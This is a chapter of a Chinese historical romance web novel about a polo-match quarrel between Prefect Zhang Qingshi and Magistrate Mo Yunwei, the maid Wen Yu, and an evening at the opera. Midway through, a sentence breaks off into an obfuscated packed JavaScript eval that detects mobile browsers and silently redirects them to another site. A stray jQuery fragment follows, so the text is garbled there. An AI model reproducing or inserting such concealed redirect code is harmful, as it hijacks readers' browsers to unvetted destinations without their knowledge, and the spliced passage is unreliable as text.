当时,马球一挥远,场上的其他人都在追逐着马球,而只有他们两人在马上扭打,所以知道实情的也只有张清时和莫云炜两人自己。
可当张清时想回答时,莫云炜就恶人先告状,一脸愤愤道:“张刺史没想到你是这么一个人!为了赢,不惜打我腿,还打我的胳膊肘!”
莫云炜其实也不想在地上撒泼打滚耍无赖的,只不过是眼睁睁看着自己输了,且自己心系的小美人又那么关心张刺史。
心里恨念升起,为了顾脸面,只能空口白牙地无赖张清时了。
所幸,袁氏他们都是明事理的,没有只听莫云炜的一面之词,反而还一直等待张清时开口解释。
张清时则是当众先承认自己所做所为:“我的确是打了莫县令的膝盖和胳膊肘。”
“但是——”话锋一转,“是莫县令先不遵守规则,击伤我的马儿,我才不得已跳到他的马上。可他却不想让我待在他的马上,愈将我抖落下去。情急之下我才与莫县令起了争执。”
“对莫县令所造成伤害,我在这先真诚地对他赔个不是。”
说完,张清时不计前嫌地朝莫云炜行了一礼,以表歉意。
而莫云炜则翻转个身,不接受张清时的道歉。
“这……”
听完他们二人的措辞后,焦郎君看了一眼两人伤情,一个在这好端端地站着,一个则在地上哭天喊地。
谅谁都会站在莫云炜这边。
但焦郎君熟知张清时秉性,又因无外人旁观,自己还是这所有东州官员说得上话的,只能匆匆做个了断:“你两这顶多算互相斗殴,双方互相道个歉就算了。且刚刚张郎君已经道过歉了,莫县令你就在道一个吧。”
“这怎么能行?”莫云炜反驳道,并指了指自己的腿,“我他没受伤,我受伤了,这可怎么算?”
“莫县令,这好办,受了伤去我府中治疗便是。”袁氏应话道,“我这府中有的是治跌打损伤的药!”
“那不行!”莫云炜摇头道,眼神却飘向了温玉,“这是张刺史打的,自然由张刺史负责,或者说让张刺史的人负责。”
温玉看着莫云炜直勾勾的眼神不由地后退了几步,好家伙还平白赖上她了。
张清时则一把挡在温玉身前从容道:“好啊,我负责。”
随即,在众目睽睽之下,张清时俯下身,双手将莫云炜一个横抱了起来。
众人皆目瞪口呆,莫云炜也被吓住,连忙去推张清时的胸口:“你在做什么?快放开我!”
“莫县令,你受了伤,我定是要护送你去医馆治伤。”张清时笑着还将怀里的莫云炜掂了一掂,“还请莫县令切莫乱动,如若再跌下,恐怕伤得更严重了!”
“你……!”
莫县令咬牙切齿地想骂他,但顾忌在场所有人的目光都在自己身上,也不好发作,只能把这些脏话往回咽。
待真被张清时送入医馆内并躲开其他人视线后,他才立刻挣扎着从张清时怀里出来。
然后双手抱胸站在床旁,并十分不爽地看着张清时。
“莫县令,您这是?”
温玉跟着张清时一起来的,瞧莫县令这突然好端端的样子很是惊奇。
莫云炜早就为自己找好了措辞,自夸道:“小娘子,我男子汉大丈夫受这区区小伤根本没什么事。”
“你看,我硬朗得很!”
为展现他的雄风,莫云炜还往自己胸膛上硬锤了几下。
但温玉只觉得好笑,毕竟这人上一秒装作受了很重伤的样子嫁祸给张郎君,下一秒又装没事人一样。
变脸的可真快。
不过他好歹是官员,温玉面上还是强作关忧的样子:“莫县令,从马上摔落不是小事,要不还是请大夫过来看看为好?”
“不用。”莫云炜见温玉如此关心自己,一下嘴都笑裂开了,自诩苦肉计使得成功,“不过,若是小娘子贴身照顾我一下的话,相信这些伤痛不用看大夫就能好。”
说着说着,莫云炜就将他的咸猪手伸向温玉。
温玉见了连忙后退,没成想,张清时却抢先一步握住了莫云炜的手。
两只大手相握,臂上青筋尽显。
但张清时仍旧十分淡定道:“莫县令,你看你这头上都出了虚汗,这恐怕是有其他隐疾吧。温玉不会看病,我看还是请大夫来相看吧。”
说完,张清时与温玉对视一眼,温玉立即心领神会,赶紧跑着出去寻大夫过来医治莫云炜。
等温玉出去后,张清时才松开了手,莫云炜则因竭力而瘫坐在床榻上,直喘着粗气。
“张刺史,你这是何意?”
莫云炜瞪眼问道,这厮怎么总坏他好事。
“你平白无故赖我在先,后又惦记我的人,你又是何意?”
张清时冷漠地取出袖兜里的手帕,然后仔细擦拭自己的手,像是刚刚手上碰了什么很脏的东西。
“你的人?”莫云炜冷笑道,“明明我和温玉两情相悦,你都同意我娶她,如今却一直阻拦,莫不是你也喜欢她,想留她做陪床丫鬟?”
“休的狂言!”张清时抬眼,冷冷反驳道,“你德行有亏,你根本不配娶她!”
“我不配?”莫云炜抱胸回怼道,“你说的也不作数,你难道德行就不亏了?”
“这事的确是我有错在先。”提到这件,张清时语气缓和下来,“但她同你从不是什么两情相悦,还望莫县令不要再纠缠。”
“呵呵呵。”莫云炜嗤笑一声,姿态懒散地躺在床上,“我告诉你,不可能!”
“你!”
张清时将手握紧成拳,有种想给眼前的登徒浪子一拳的冲动。
可莫云炜见状依然不收敛,持续挑衅道:“哟,张刺史不是远近闻名出了名的温文尔雅吗?怎么说两句话就想动粗了?”
张清时:“……”
他一言不发,但指节却因用力而微微泛白。
他很少有这种控制不住情绪的时刻,他明明对所有事情都稳操胜券,却面对这个突如其来的登徒浪子失了理智。
只因……
忽而,下一秒,他的拳头被一只柔软却有力量的手给握住,一下一下地掰开他紧密的指节。
“郎君,大夫到了,我们出去吧。”
张清时微微一怔,抬眼便对上温玉那双如湖泊般干净透亮的眼眸,心中的怒意瞬间陷入这一汪湖水中,继而归于平静。
紧接着,他被她牵引而离开。
上午的马球比赛因为这两人打架而匆忙散场,现在眼瞅着这两人又要在医馆里打架,温玉怕这两人把医馆又给掀了,所以当一看见张郎君生气,就赶忙把他拉了出来。
出来闻闻新鲜的空气,看些绿草小花什么的,他的心情也能好些。
“郎君,下午还有什么安排吗?我们什么时候会回青州呀?”
温玉在一旁轻声问道,想通过创造一些话题来赶走张郎君头顶上的阴霾。
“暂时还…不能回青州。”
张清时摇头道,东州还有事未完成,他是不会回青州的。
被温玉握住的手,他也在慢慢抽离。
“啊?”
温玉有些失落,人在一个地方待久了,去了新的地方后总会觉得哪哪都不如旧地方如意。
所以温玉觉得待在东州没有待在青州如意自在。
张清时也注意道她的情绪,解释道:“是焦郎君邀我同游一段时间而已,这段时间,温玉也可以跟着我一起,可以去认识很多新鲜事物。”
“我……能一直和郎君一起吗?”
温玉的眸中升起一抹雀跃,要知道东州之行可是她撒了谎才求来的,没想到这次郎君却直接邀请
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297317|164753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她一起同游。
这是多大的幸事啊!
“嗯……”
张清时点头应允道,随即抬眸便看到那双灵动的眼眸笑得两眼弯弯,明媚如花。
这里没有芙蓉,却在她脸上看到花的绽放。
他突然很想知道,摘下一朵芙蓉花别在温玉的发髻上会是怎样?
忽而,还没来得及遐想,温玉又兴奋地问道:“郎君?那我们下午会去哪游玩?”
自从跟了张郎君后,温玉的确是体验到很多不一样的乐趣与生活,所以她无比地期待下一次。
张清时则认真地回想了一下道:“咳…听戏。”
“听戏?”
“什么戏?”
“《李娃传》。”
*
傍晚时分,天色渐暗,但街道上却依旧是灯火通明,人头攒簇。
温玉则跟着张清时一同来到勾栏一处戏台外。
听戏是当时人们茶余饭后最受喜爱的娱乐活动之一,所以戏台之下的观众席早已坐满了人。
今天听得一出是个爱情戏,所以放眼就能看见焦郎君携她的娘子袁氏坐在前排,而张郎君也携着温玉一起坐在了旁边。
可这是温玉第一次与主人们平起平坐观戏,先前在马场上,也是袁氏他们坐着,自己站着的。
现如今要一同坐在一起,尤其还要坐在袁氏旁边,温玉有点紧张还颇感不适。
并有些担忧自己的身份和动作惹恼了他们。
但袁氏是个直性子的,瞧温玉坐的板正,反而还打趣道:“温玉,你坐这么板正,是为了凸显我的坐姿不端吗?”
“啊?”
温玉诧异地转过身,发现袁氏正慵懒地躺在椅背之上,因为出行是便服,她今日之举比在宴席上所见随意了不少,又很显轻和。
袁氏继续提点道:“你这坐的太端正,将后排的视野都给挡到了不是?”
“噢噢。”
温玉立马领悟袁氏的意思,才稍稍往后躺了些。
不过背靠在椅子上的确是比坐直了舒服。
温玉躺好后,再悄悄用余光打量着袁氏,却发现袁氏目光已然不在她身上,而是全心贯注在戏台上,温玉这才不由地松了口气。
继而她也更加舒爽自在地将目光投入戏台上。
戏台上,郑生与李娃对唱,郎君和娘子,一俊一美,十分登对。
且郎有情妾有意。
温玉刚看得还是十分入迷。
可到后面就突然昭显出李娃背后的阴谋,她虽爱郑生,却依然要对郑生行骗,将他的手中的一切给全骗走。
看到这时,温玉心中难免一咯噔。
只因她现在也正在欺骗她家的郎君,对他行不好之事。
越看温玉越心虚,便偷偷用余光瞥向张郎君,想看看他是如何看待这场戏的。
不过——张郎君的心思好像并未在这场戏上。
他的身旁不知何时坐了一位人,正同他密聊着什么。
温玉身子悄悄移过去,侧耳认真地偷听。
只听那人问:“张刺史大人,听闻这几日你一直在陪焦郎君在此地游玩,何日会回青州?”
张清时:“焦郎是我好友,盛情难却,我打算陪他玩个三四日左右之后即回。”
“哈哈哈,这样啊。那刺史大人,陪他个有妇之夫玩,岂不寂寞?”
张清时:“袁娘子乃是将军,同我们相处也是像兄弟一样,不曾感受寂寞。”
“害,这不更加证明他们这些人都无趣嘛,要不小的给你推荐一个有趣的地方?”
张清时:“你说。”
“此地青楼有一乐妓,弹的小曲和跳的小舞皆名动东州,且恰好听闻刺史大人好诗喜乐,可否愿意去听一小曲?”
张清时沉吟片刻后,答道:“好啊。”